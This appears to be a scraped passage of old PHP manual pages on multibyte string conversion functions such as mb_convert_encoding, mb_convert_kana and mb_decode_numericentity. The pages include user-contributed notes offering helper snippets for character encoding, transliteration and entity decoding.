    return mb_strtoupper(mb_substr($str, 0, 1, $encoding), $encoding) . mb_strtolower(mb_substr($str, 1, mb_strlen($str), $encoding), $encoding);
}
thomas underscore corthals at hotmail dot com 15-Aug-2006 03:30
If you want to capitalize the first letter of a multibyte string, you can use this function.

<?php
function capitalize($str, $encoding = null) {
     $str = mb_strtoupper($str{0}, $encoding) . mb_substr($str, 1, null, $encoding);
     return $str;
}
?>
alex at agileware dot net 06-Feb-2006 06:02
This function is a bit more flexible than using mb_convert_case with MB_CASE_TITLE, because it lets you add words whose case you don't want modified.

function title_case($string, $exceptions = array('to', 'a', 'the', 'of', 'I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII', 'IX', 'X')) {
    $words = split(" ", $string);
    $newwords = array();

    foreach ($words as $word)
    {
        if (!array_key_exists($word, $exceptions)) {
            $word = strtolower($word);
            $word = ucfirst($word);
        }
        array_push($newwords, $word);

    }

    return ucfirst(join(" ", $newwords));
}
footballkid4 at hotmail dot com 04-Feb-2006 08:59
This function will capitalize the first letter ( the same as using mb_convert_case with MB_CASE_TITLE flag, but when using a sentence, it'll only capitalize the first word )

<?php
function capitalize(&$input) {
     $input = strtoupper( substr( $input , 0 , 1 ) ).strtolower( substr( $input , 1 ) );
     return $input;
}
?>

Very short, uses substr, strtoupper, and strtoupper only
Rasa Ravi at tantrajoga dot cz 30-Apr-2005 01:36
For CZECH characters:
<?php
$text = mb_convert_case($text, MB_CASE_LOWER, "Windows-1251");
?>
The right encoding Windows-1250 is not valid (see the list mb_list_encodings), but Windows-1251 will do the same 100%. The function strtolower() ignores czech characters with diacritics.
mb_check_encoding
mb_convert_encoding
Multibyte String Functions


Convert character encoding

mb_convert_case
mb_convert_kana
Multibyte String Functions
PHP Manual

mb_convert_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_encoding — Convert character encoding

Description

string mb_convert_encoding ( string $str , string $to_encoding [, mixed $from_encoding ] )

Converts the character encoding of string str to to_encoding from optionally from_encoding.

Parameters

str

The string being encoded.

to_encoding

The type of encoding that str is being converted to.

from_encoding

Is specified by character code names before conversion. It is either an array, or a comma separated enumerated list. If from_encoding is not specified, the internal encoding will be used.

See supported encodings.

Return Values

The encoded string.

Examples

Example #1 mb_convert_encoding() example

<?php
/* Convert internal character encoding to SJIS */
$str = mb_convert_encoding($str, "SJIS");

/* Convert EUC-JP to UTF-7 */
$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");

/* Auto detect encoding from JIS, eucjp-win, sjis-win, then convert str to UCS-2LE */
$str = mb_convert_encoding($str, "UCS-2LE", "JIS, eucjp-win, sjis-win");

/* "auto" is expanded to "ASCII,JIS,UTF-8,EUC-JP,SJIS" */
$str = mb_convert_encoding($str, "EUC-JP", "auto");
?>

See Also

  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

qdb at kukmara dot ru 07-Nov-2011 07:44
mb_substr and probably several other functions works faster in ucs-2 than in utf-8. and utf-16 works slower than utf-8. here is test, ucs-2 is near 50 times faster than utf-8, and utf-16 is near 6 times slower than utf-8 here:
<?php
header('Content-Type: text/html; charset=utf-8');
mb_internal_encoding('utf-8');

$s='укгезәөшөхзәхөшк2049һһлдябчсячмииюсит.июбҗрарэ'
.'лдэфвәәуүйәуйүәу034928348539857әшаыдларорашһһрлоавы';
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;

$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo$a.'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'UCS-2','utf8');
mb_internal_encoding('UCS-2');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','ucs2').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'utf-16','ucs-2');
mb_internal_encoding('utf-16');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','utf-16').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

?>
output:
өх. 12416. 1.71738100052
өх. 12416. 0.0211279392242
өх. 12416. 11.2330229282
Alexanderdotbooneatmnsudotedu 09-Jun-2011 10:50
I was having trouble parsing an Excel document to html, this seems to do the trick for character encoding.

<?php
function decode_characters($info)
{
    $info = mb_convert_encoding($info, "HTML-ENTITIES", "UTF-8");
    $info = preg_replace('~^(&([a-zA-Z0-9]);)~',htmlentities('${1}'),$info);
    return($info);
}
?>
alvaro at demogracia dot com 06-Apr-2011 03:37
You can use the HTML-ENTITIES encoding to insert arbitrary Unicode characters, e.g. "U+25B6 (BLACK RIGHT-POINTING TRIANGLE)":

<?php
$triangle = mb_convert_encoding('&#x25B6;', 'UTF-8', 'HTML-ENTITIES');
?>

Be aware though that older PHP versions do not seem to support hexadecimal notation (&#x25B6;). In such case, use decimal notation (&#9654;):

<?php
$triangle = mb_convert_encoding('&#9654;', 'UTF-8', 'HTML-ENTITIES');
?>
gullevek at gullevek dot org 25-Aug-2010 12:27
If you want to convert japanese to ISO-2022-JP it is highly recommended to use ISO-2022-JP-MS as the target encoding instead. This includes the extended character set and avoids ? in the text. For example the often used "1 in a circle" ① will be correctly converted then.
regrunge at hotmail dot it 14-May-2010 08:00
I've been trying to find the charset of a norwegian (with a lot of ø, æ, å) txt file written on a Mac, i've found it in this way:

<?php
$text = "A strange string to pass, maybe with some ø, æ, å characters.";

foreach(mb_list_encodings() as $chr){
        echo mb_convert_encoding($text, 'UTF-8', $chr)." : ".$chr."<br>";
 }
?>

The line that looks good, gives you the encoding it was written in.

Hope can help someone
Daniel Trebbien 23-Jul-2009 11:25
Note that `mb_convert_encoding($val, 'HTML-ENTITIES')` does not escape '\'', '"', '<', '>', or '&'.
me at gsnedders dot com 18-Jun-2009 03:06
It appears that when dealing with an unknown "from encoding" the function will both throw an E_WARNING and proceed to convert the string from ISO-8859-1 to the "to encoding".
alexandrefelipemuller at gmail dot com 18-Feb-2009 12:06
I used this function insted mb_convert_encoding, because mbstring wasn't enabled at my comercial server. It only suports utf7, 8 e iso 8859-1:

<?php
function my_convert_encoding($string,$to,$from)
{
        // Convert string to ISO_8859-1
        if ($from == "UTF-8")
                $iso_string = utf8_decode($string);
        else
                if ($from == "UTF7-IMAP")
                        $iso_string = imap_utf7_decode($string);
                else
                        $iso_string = $string;

        // Convert ISO_8859-1 string to result coding
        if ($to == "UTF-8")
                return(utf8_encode($iso_string));
        else
                if ($to == "UTF7-IMAP")
                        return(imap_utf7_encode($iso_string));
                else
                        return($iso_string);
}
?>
chzhang at gmail dot com 05-Jan-2009 12:34
instead of ini_set(), you can try this

mb_substitute_character("none");
francois at bonzon point com 10-Nov-2008 05:05
aaron, to discard unsupported characters instead of printing a ?, you might as well simply set the configuration directive:

mbstring.substitute_character = "none"

in your php.ini. Be sure to include the quotes around none. Or at run-time with

<?php
ini_set('mbstring.substitute_character', "none");
?>
aaron at aarongough dot com 07-Nov-2008 08:24
My solution below was slightly incorrect, so here is the correct version (I posted at the end of a long day, never a good idea!)

Again, this is a quick and dirty solution to stop mb_convert_encoding from filling your string with question marks whenever it encounters an illegal character for the target encoding.

<?php
function convert_to ( $source, $target_encoding )
    {
    // detect the character encoding of the incoming file
    $encoding = mb_detect_encoding( $source, "auto" );

    // escape all of the question marks so we can remove artifacts from
    // the unicode conversion process
    $target = str_replace( "?", "[question_mark]", $source );

    // convert the string to the target encoding
    $target = mb_convert_encoding( $target, $target_encoding, $encoding);

    // remove any question marks that have been introduced because of illegal characters
    $target = str_replace( "?", "", $target );

    // replace the token string "[question_mark]" with the symbol "?"
    $target = str_replace( "[question_mark]", "?", $target );

    return $target;
    }
?>

Hope this helps someone! (Admins should feel free to delete my previous, incorrect, post for clarity)
-A
Edward 16-Sep-2008 03:54
If mb_convert_encoding doesn't work for you, and iconv gives you a headache, you might be interested in this free class I found. It can convert almost any charset to almost any other charset. I think it's wonderful and I wish I had found it earlier. It would have saved me tons of headache.

I use it as a fail-safe, in case mb_convert_encoding is not installed. Download it from http://mikolajj.republika.pl/

This is not my own library, so technically it's not spamming, right? ;)

Hope this helps.
StigC 13-Aug-2008 03:38
For the php-noobs (like me) - working with flash and php.

Here's a simple snippet of code that worked great for me, getting php to show special Danish characters, from a Flash email form:

<?php
// Name Escape
$escName = mb_convert_encoding($_POST["Name"], "ISO-8859-1", "UTF-8");

// message escape
$escMessage = mb_convert_encoding($_POST["Message"], "ISO-8859-1", "UTF-8");

// Headers.. and so on...
?>
nospam at nihonbunka dot com 15-May-2008 06:51
rodrigo at bb2 dot co dot jp wrote that inconv works better than mb_convert_encoding, I find that when converting from uft8 to shift_jis
$conv_str = mb_convert_encoding($str,$toCS,$fromCS);
works while
$conv_str = iconv($fromCS,$toCS.'//IGNORE',$str);
removes tildes from $str.
katzlbtjunk at hotmail dot com 25-Jan-2008 04:36
Clean a string for use as filename by simply replacing all unwanted characters with underscore (ASCII converts to 7bit). It removes slightly more chars than necessary. Hope its useful.

$fileName = 'Test:!"$%&/()=ÖÄÜöäü<<';
echo strtr(mb_convert_encoding($fileName,'ASCII'),
    ' ,;:?*#!§$%&/(){}<>=`´|\\\'"',
    '____________________________');
rodrigo at bb2 dot co dot jp 15-Jan-2008 03:47
For those who can´t use mb_convert_encoding() to convert from one charset to another as a metter of lower version of php, try iconv().

I had this problem converting to japanese charset:

$txt=mb_convert_encoding($txt,'SJIS',$this->encode);

And I could fix it by using this:

$txt = iconv('UTF-8', 'SJIS', $txt);

Maybe it´s helpfull for someone else! ;)
mightye at gmail dot com 13-Nov-2007 09:24
To petruzanauticoyahoo?com!ar

If you don't specify a source encoding, then it assumes the internal (default) encoding.  ñ is a multi-byte character whose bytes in your configuration default (often iso-8859-1) would actually mean Ã±.  mb_convert_encoding() is upgrading those characters to their multi-byte equivalents within UTF-8.

Try this instead:
<?php
print mb_convert_encoding( "ñ", "UTF-8", "UTF-8" );
?>
Of course this function does no work (for the most part - it can actually be used to strip characters which are not valid for UTF-8).
volker at machon dot biz 24-Sep-2007 09:05
Hey guys. For everybody who's looking for a function that is converting an iso-string to utf8 or an utf8-string to iso, here's your solution:

public function encodeToUtf8($string) {
     return mb_convert_encoding($string, "UTF-8", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

public function encodeToIso($string) {
     return mb_convert_encoding($string, "ISO-8859-1", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

For me these functions are working fine. Give it a try
aofg 21-Aug-2007 06:49
When converting Japanese strings to ISO-2022-JP or JIS on PHP >= 5.2.1, you can use "ISO-2022-JP-MS" instead of them.
Kishu-Izon (platform dependent) characters are converted correctly with the encoding, as same as with eucJP-win or with SJIS-win.
David Hull 20-Dec-2006 10:52
As an alternative to Johannes's suggestion for converting strings from other character sets to a 7bit representation while not just deleting latin diacritics, you might try this:

<?php
$text = iconv($from_enc, 'US-ASCII//TRANSLIT', $text);
?>

The only disadvantage is that it does not convert "ä" to "ae", but it handles punctuation and other special characters better.
--
David
phpdoc at jeudi dot de 05-Sep-2006 06:46
I'd like to share some code to convert latin diacritics to their
traditional 7bit representation, like, for example,

- à,ç,é,î,... to a,c,e,i,...
- ß to ss
- ä,Ä,... to ae,Ae,...
- ë,... to e,...

(mb_convert "7bit" would simply delete any offending characters).

I might have missed on your country's typographic
conventions--correct me then.
<?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = mb_convert_encoding($text,'HTML-ENTITIES',$from_enc);
    $text = preg_replace(
        array('/&szlig;/','/&(..)lig;/',
             '/&([aouAOU])uml;/','/&(.)[^;]*;/'),
        array('ss',"$1","$1".'e',"$1"),
        $text);
    return $text;
}
?>

Enjoy :-)
Johannes
mac.com@nemo 08-Jul-2006 07:38
For those wanting to convert from $set to MacRoman, use iconv():

<?php

$string = iconv('UTF-8', 'macintosh', $string);

?>

('macintosh' is the IANA name for the MacRoman character set.)
eion at bigfoot dot com 20-Feb-2006 04:54
many people below talk about using
<?php
    mb_convert_encode($s,'HTML-ENTITIES','UTF-8');
?>
to convert non-ascii code into html-readable stuff.  Due to my webserver being out of my control, I was unable to set the database character set, and whenever PHP made a copy of my $s variable that it had pulled out of the database, it would convert it to nasty latin1 automatically and not leave it in it's beautiful UTF-8 glory.

So [insert korean characters here] turned into ?????.

I found myself needing to pass by reference (which of course is deprecated/nonexistent in recent versions of PHP)
so instead of
<?php
    mb_convert_encode(&$s,'HTML-ENTITIES','UTF-8');
?>
which worked perfectly until I upgraded, so I had to use
<?php
    call_user_func_array('mb_convert_encoding', array(&$s,'HTML-ENTITIES','UTF-8'));
?>

Hope it helps someone else out
Tom Class 11-Nov-2005 07:35
Why did you use the php html encode functions? mbstring has it's own Encoding which is (as far as I tested it) much more usefull:

HTML-ENTITIES

Example:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
Stephan van der Feest 09-Sep-2005 04:47
To add to the Flash conversion comment below, here's how I convert back from what I've stored in a database after converting from Flash HTML text field output, in order to load it back into a Flash HTML text field:

function htmltoflash($htmlstr)
{
  return str_replace("&lt;br /&gt;","\n",
    str_replace("<","&lt;",
      str_replace(">","&gt;",
        mb_convert_encoding(html_entity_decode($htmlstr),
        "UTF-8","ISO-8859-1"))));
}
Stephan van der Feest 09-Sep-2005 03:50
Here's a tip for anyone using Flash and PHP for storing HTML output submitted from a Flash text field in a database or whatever.

Flash submits its HTML special characters in UTF-8, so you can use the following function to convert those into HTML entity characters:

function utf8html($utf8str)
{
  return htmlentities(mb_convert_encoding($utf8str,"ISO-8859-1","UTF-8"));
}
jamespilcher1 - hotmail 01-Feb-2004 07:55
be careful when converting from iso-8859-1 to utf-8.

even if you explicitly specify the character encoding of a page as iso-8859-1(via headers and strict xml defs), windows 2000 will ignore that and interpret it as whatever character set it has natively installed.

for example, i wrote char #128 into a page, with char encoding iso-8859-1, and it displayed in internet explorer (& mozilla) as a euro symbol.

it should have displayed a box, denoting that char #128 is undefined in iso-8859-1. The problem was it was displaying in "Windows: western europe" (my native character set).

this led to confusion when i tried to convert this euro to UTF-8 via mb_convert_encoding()

IE displays UTF-8 correctly- and because PHP correctly converted #128 into a box in UTF-8, IE would show a box.

so all i saw was mb_convert_encoding() converting a euro symbol into a box. It took me a long time to figure out what was going on.
lanka at eurocom dot od dot ua 07-Feb-2003 08:03
Another sample of recoding without MultiByte enabling.
(Russian koi->win, if input in win-encoding already, function recode() returns unchanged string)

<?php
  // 0 - win
  // 1 - koi
  function detect_encoding($str) {
    $win = 0;
    $koi = 0;

    for($i=0; $i<strlen($str); $i++) {
      if( ord($str[$i]) >224 && ord($str[$i]) < 255) $win++;
      if( ord($str[$i]) >192 && ord($str[$i]) < 223) $koi++;
    }

    if( $win < $koi ) {
      return 1;
    } else return 0;

  }

  // recodes koi to win
  function koi_to_win($string) {

    $kw = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 254, 224, 225, 246, 228, 229, 244, 227, 245, 232, 233, 234, 235, 236, 237, 238, 239, 255, 240, 241, 242, 243, 230, 226, 252, 251, 231, 248, 253, 249, 247, 250, 222, 192, 193, 214, 196, 197, 212, 195, 213, 200, 201, 202, 203, 204, 205, 206, 207, 223, 208, 209, 210, 211, 198, 194, 220, 219, 199, 216, 221, 217, 215, 218);
    $wk = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 225, 226, 247, 231, 228, 229, 246, 250, 233, 234, 235, 236, 237, 238, 239, 240, 242,  243, 244, 245, 230, 232, 227, 254, 251, 253, 255, 249, 248, 252, 224, 241, 193, 194, 215, 199, 196, 197, 214, 218, 201, 202, 203, 204, 205, 206, 207, 208, 210, 211, 212, 213, 198, 200, 195, 222, 219, 221, 223, 217, 216, 220, 192, 209);

    $end = strlen($string);
    $pos = 0;
    do {
      $c = ord($string[$pos]);
      if ($c>128) {
        $string[$pos] = chr($kw[$c-128]);
      }

    } while (++$pos < $end);

    return $string;
  }

  function recode($str) {

    $enc = detect_encoding($str);
    if ($enc==1) {
      $str = koi_to_win($str);
    }

    return $str;
  }
?>
mb_convert_case
mb_convert_kana
Multibyte String Functions


Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

mb_convert_encoding
mb_convert_variables
Multibyte String Functions
PHP Manual

mb_convert_kana

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

Description

string mb_convert_kana ( string $str [, string $option = "KV" [, string $encoding ]] )

Performs a "han-kaku" - "zen-kaku" conversion for string str. This function is only useful for Japanese.

Parameters

str

The string being converted.

option

The conversion option.

Specify with a combination of following options.

Applicable Conversion Options
Option | Meaning
r | Convert "zen-kaku" alphabets to "han-kaku"
R | Convert "han-kaku" alphabets to "zen-kaku"
n | Convert "zen-kaku" numbers to "han-kaku"
N | Convert "han-kaku" numbers to "zen-kaku"
a | Convert "zen-kaku" alphabets and numbers to "han-kaku"
A | Convert "han-kaku" alphabets and numbers to "zen-kaku" (Characters included in "a", "A" options are U+0021 - U+007E excluding U+0022, U+0027, U+005C, U+007E)
s | Convert "zen-kaku" space to "han-kaku" (U+3000 -> U+0020)
S | Convert "han-kaku" space to "zen-kaku" (U+0020 -> U+3000)
k | Convert "zen-kaku kata-kana" to "han-kaku kata-kana"
K | Convert "han-kaku kata-kana" to "zen-kaku kata-kana"
h | Convert "zen-kaku hira-gana" to "han-kaku kata-kana"
H | Convert "han-kaku kata-kana" to "zen-kaku hira-gana"
c | Convert "zen-kaku kata-kana" to "zen-kaku hira-gana"
C | Convert "zen-kaku hira-gana" to "zen-kaku kata-kana"
V | Collapse voiced sound notation and convert them into a character. Use with "K","H"

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The converted string.

Examples

Example #1 mb_convert_kana() example

<?php
/* Convert all "kana" to "zen-kaku" "kata-kana" */
$str = mb_convert_kana($str, "KVC");

/* Convert "han-kaku" "kata-kana" to "zen-kaku" "kata-kana"
   and "zen-kaku" alpha-numeric to "han-kaku" */
$str = mb_convert_kana($str, "KVa");
?>

User Contributed Notes

sohel62 at yahoo dot com 18-Feb-2008 09:17
I did that manually when I was not getting  expected result using mb_convert_kana().
<?php
 /*
 * @author Taslim Mazumder Sohel
 * @deprecated 1.0 - 2008/02/19
 *
 */
function han_kaku_to_jen_kaku($str){
        $replace_of = array('ｳﾞ','ｶﾞ','ｷﾞ','ｸﾞ',
                            'ｹﾞ','ｺﾞ','ｻﾞ','ｼﾞ',
                            'ｽﾞ','ｾﾞ','ｿﾞ','ﾀﾞ',
                            'ﾁﾞ','ﾂﾞ','ﾃﾞ','ﾄﾞ',
                            'ﾊﾞ','ﾋﾞ','ﾌﾞ','ﾍﾞ',
                            'ﾎﾞ','ﾊﾟ','ﾋﾟ','ﾌﾟ','ﾍﾟ','ﾎﾟ');
        $replace_by = array('ヴ','ガ','ギ','グ',
                            'ゲ','ゴ','ザ','ジ',
                            'ズ','ゼ','ゾ','ダ',
                            'ヂ','ヅ','デ','ド',
                            'バ','ビ','ブ','ベ',
                            'ボ','パ','ピ','プ','ペ','ポ');
        $_result = str_replace($replace_of, $replace_by, $str);

        $replace_of = array('ｱ','ｲ','ｳ','ｴ','ｵ',
                            'ｶ','ｷ','ｸ','ｹ','ｺ',
                            'ｻ','ｼ','ｽ','ｾ','ｿ',
                            'ﾀ','ﾁ','ﾂ','ﾃ','ﾄ',
                            'ﾅ','ﾆ','ﾇ','ﾈ','ﾉ',
                            'ﾊ','ﾋ','ﾌ','ﾍ','ﾎ',
                            'ﾏ','ﾐ','ﾑ','ﾒ','ﾓ',
                            'ﾔ','ﾕ','ﾖ','ﾗ','ﾘ',
                            'ﾙ','ﾚ','ﾛ','ﾜ','ｦ',
                            'ﾝ','ｧ','ｨ','ｩ','ｪ',
                            'ｫ','ヵ','ヶ','ｬ','ｭ',
                            'ｮ','ｯ','､','｡','ｰ',
                            '｢','｣','ﾞ','ﾟ');
        $replace_by = array('ア','イ','ウ','エ','オ',
                            'カ','キ','ク','ケ','コ',
                            'サ','シ','ス','セ','ソ',
                            'タ','チ','ツ','テ','ト',
                            'ナ','ニ','ヌ','ネ','ノ',
                            'ハ','ヒ','フ','ヘ','ホ',
                            'マ','ミ','ム','メ','モ',
                            'ヤ','ユ','ヨ','ラ','リ',
                            'ル','レ','ロ','ワ','ヲ',
                            'ン','ァ','ィ','ゥ','ェ',
                            'ォ','ヶ','ヶ','ャ','ュ',
                            'ョ','ッ','、','。','ー',
                            '「','」','”','');
        $_result = str_replace($replace_of, $replace_by, $_result);
        return $_result;
    }
?>
d at safetypub dot org 01-Apr-2005 03:00
I didn't find Japanese sorting function.
(mb_sort_kana or something)
Only SJIS encoding treats hankaku kata kana,
 I can't post here copy & paste version script.
I'm sorry...
You will replace comments with appropriate japanese string,
and write exception handlings between lines as you like.

<?php
mb_internal_encoding("SJIS");

$moji = /*"aiueo...wawon -?.," <- serialized hankaku kata kana 50 on hyou goes here*/;
$moji .= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxwz0123456789";

for($i = 0; isset($moji[$i]); $i++){
    $pittan[$moji[$i]] = $i;
}

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return iter(mb_convert_kana($a, "askh") ,mb_convert_kana($b, "askh"), 0);
}

function iter($a, $b, $i){
    global $pittan;
    if(!isset($a[$i]) || !isset($b[$i])){
        return (isset($b[$i]))? -1 : 1;
    }
    if ($pittan[$a[$i]] == $pittan[$b[$i]]){
        return iter($a, $b, ++$i);
    }
    return (($pittan[$a[$i]]) < ($pittan[$b[$i]]))? -1 : 1;
}

echo "<pre>";
$arr = array(/*some japanese array here*/);
usort($arr, "cmp");
var_dump($arr);
?>
dn at littlealf dot net 23-Jul-2003 09:33
It seems that mb_convert_kana() doesn't convert symbols such as ' (single quoatation). It affected my program when I insert data into database.

So, I've found 2 ways to solve this.
1) Use Javascript to convert those non-supported symbols before sending query string to your php page.
2) Use php function, str_replace $str, to replace those non-supported symbols. For example, $str = str_replace("'", "�", $str);
where the first single quot is half-width(han kaku), and the second one is full-width(zen kaku).
mb_convert_encoding
mb_convert_variables
Multibyte String Functions


Convert character code in variable(s)

mb_convert_kana
mb_decode_mimeheader
Multibyte String Functions
PHP Manual

mb_convert_variables

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_variables — Convert character code in variable(s)

Description

string mb_convert_variables ( string $to_encoding , mixed $from_encoding , mixed &$vars [, mixed &$... ] )

Converts character encoding of variables vars in encoding from_encoding to encoding to_encoding.

mb_convert_variables() join strings in Array or Object to detect encoding, since encoding detection tends to fail for short strings. Therefore, it is impossible to mix encoding in single array or object.

Parameters

to_encoding

The encoding that the string is being converted to.

from_encoding

from_encoding is specified as an array or comma separated string, it tries to detect encoding from from-coding. When from_encoding is omitted, detect_order is used.

vars

vars is the reference to the variable being converted. String, Array and Object are accepted. mb_convert_variables() assumes all parameters have the same encoding.

...

Additional vars.

Return Values

The character encoding before conversion for success, or FALSE for failure.

Examples

Example #1 mb_convert_variables() example

<?php
/* Convert variables $post1, $post2 to internal encoding */
$interenc = mb_internal_encoding();
$inputenc = mb_convert_variables($interenc, "ASCII,UTF-8,SJIS-win", $post1, $post2);
?>

User Contributed Notes

There are no user contributed notes for this page.
mb_convert_kana
mb_decode_mimeheader
Multibyte String Functions


Decode string in MIME header field

mb_convert_variables
mb_decode_numericentity
Multibyte String Functions
PHP Manual

mb_decode_mimeheader

(PHP 4 >= 4.0.6, PHP 5)

mb_decode_mimeheader — Decode string in MIME header field

Description

string mb_decode_mimeheader ( string $str )

Decodes encoded-word string str in MIME header.

Parameters

str

The string being decoded.

Return Values

The decoded string in internal character encoding.

See Also

  • mb_encode_mimeheader() - Encode string for MIME header

User Contributed Notes

tomlove at gmail dot com 09-Mar-2010 10:03
This function ignores any encoded-word specified in a character set not supported by the mbstring extension (e.g. Arabic windows-1256). Such encoded-words pass straight through.

RFC2047 doesn't specify the behaviour, but common agents such as Gmail, Windows Mail, etc. DO NOT ignore such encoded words. They are decoded as if they were declared to be in the local character set.

Be aware of this idiosyncrasy.
Dmitri Snytkine 18-Dec-2009 01:16
This function leaves the underscores in the string.
For example, the mime header looks like this:
$text = "=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@example.com>";

Then I decode this string like this:

<?php
mb_internal_encoding("UTF-8");
$ret2 = mb_decode_mimeheader($text);
?>

The result is decoded string which looks OK except that the underscores between the first, middle and last names are still there.

Keld_Jørn_Simonsen

imap_utf8($text) does not show underscores, which is the correct way, except that on my Windows PC the imap_utf8() converts result to upper case, which is a known bug.
Frogger2000 at gmx dot de 29-May-2002 01:16
Using quoted-printable-encoding the hex-numbers must be written in uppercase letters!

Works: =?iso-8859-1?q?=3F=3F=3F?=
Fails: =?iso-8859-1?q?=3f=3f=3f?=
mb_convert_variables
mb_decode_numericentity
Multibyte String Functions


Decode HTML numeric string reference to character

mb_decode_mimeheader
mb_detect_encoding
Multibyte String Functions
PHP Manual

mb_decode_numericentity

(PHP 4 >= 4.0.6, PHP 5)

mb_decode_numericentity — Decode HTML numeric string reference to character

Description

string mb_decode_numericentity ( string $str , array $convmap , string $encoding )

Convert numeric string reference of string str in a specified block to character.

Parameters

str

The string being decoded.

convmap

convmap is an array that specifies the code area to convert.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The converted string.

Examples

Example #1 convmap example

<?php
$convmap = array (
   int start_code1, int end_code1, int offset1, int mask1,
   int start_code2, int end_code2, int offset2, int mask2,
   ........
   int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN,
// then convert value to numeric string reference.
?>

See Also

  • mb_encode_numericentity() - Encode character to HTML numeric string reference

User Contributed Notes

tom 13-Apr-2011 02:46
When I use this function, I had found an error.
Example)
------------------------
INPUT STRING1 : abc&
INPUT STRING2 : abc&#
------------------------
OUTPUT STRING : abc
------------------------
<?php
    $input = 'abc&';
    $convmap = array (0x0, 0xffff, 0, 0xffff);
    $output = mb_decode_numericentity($intput, $convmap, 'UTF-8');
    echo $output;
?>
result : abc

If an input string is finished with some characters such the beginning of NCR-form, this function remove that characters.

So, I use an trick.

<?php
function decode_numericentity($string){
    $string = $string.chr(32);
    $string = mb_decode_numericentity($string, $convmap, 'UTF-8');
    $pos = strlen($string)-1;
    //if(ord($string[$pos]) == 32){
        $string = substr($string,0,$pos);
    //}
    return $string;
}
?>
Navi 01-Apr-2009 01:00
Manual entity => utf8 conversion:
<?php
        // parse entities
        $raw = preg_replace_callback
        (
            "/&#(\\d+);/u",
            "_pcreEntityToUtf",
            $raw
        );

    function _pcreEntityToUtf($matches)
    {
        $char = intval(is_array($matches) ? $matches[1] : $matches);

        if ($char < 0x80)
        {
            // to prevent insertion of control characters
            if ($char >= 0x20) return htmlspecialchars(chr($char));
            else return "&#$char;";
        }
        else if ($char < 0x8000)
        {
            return chr(0xc0 | (0x1f & ($char >> 6))) . chr(0x80 | (0x3f & $char));
        }
        else
        {
            return chr(0xe0 | (0x0f & ($char >> 12))) . chr(0x80 | (0x3f & ($char >> 6))). chr(0x80 | (0x3f & $char));
        }
    }
?>
donovan at conduit it 19-Apr-2006 09:05
note that at this time it seems that mb_decode_numericentity() only works with decimal entities and not hexadecimal entities.  This fact would have saved me a good hour of time in debugging.

For those who need to convert hex entities try first converting them all to decimal entities with a combination of the preg_replace() and hexdec() functions.
dirk at camindo de 30-Jan-2005 09:51
By use of function utf8_decode you'll get a problem with all extended chars above ISO-8859-1 charset. You can solve this problem by using the

function mb_encode_numericentity before:

  // convert $text from UTF-8 to ISO-8859-1
  $convmap = array(0xFF, 0x2FFFF, 0, 0xFFFF);
  $text = mb_encode_numericentity($text, $convmap, "UTF-8");
  $text = utf8_decode($text);

The second line encodes all extended chars below 0xFF, the third line converts the rest: 0x80 - 0xFF
Andrew Simpson 10-Dec-2004 05:29
Many web browsers will tend upload high order characters as UTF-8 encoded entities.

Here is some simple code to convert UTF-8 HTML entities within a block of text into proper characters:

<?php
   //decode decimal HTML entities added by web browser
  $body = preg_replace('/&#\d{2,5};/ue', "utf8_entity_decode('$0')", $body );
  //decode hex HTML entities added by web browser
  $body = preg_replace('/&#x([a-fA-F0-7]{2,8});/ue', "utf8_entity_decode('&#'.hexdec('$1').';')", $body );

//callback function for the regex
function utf8_entity_decode($entity){
 $convmap = array(0x0, 0x10000, 0, 0xfffff);
 return mb_decode_numericentity($entity, $convmap, 'UTF-8');
}
?>
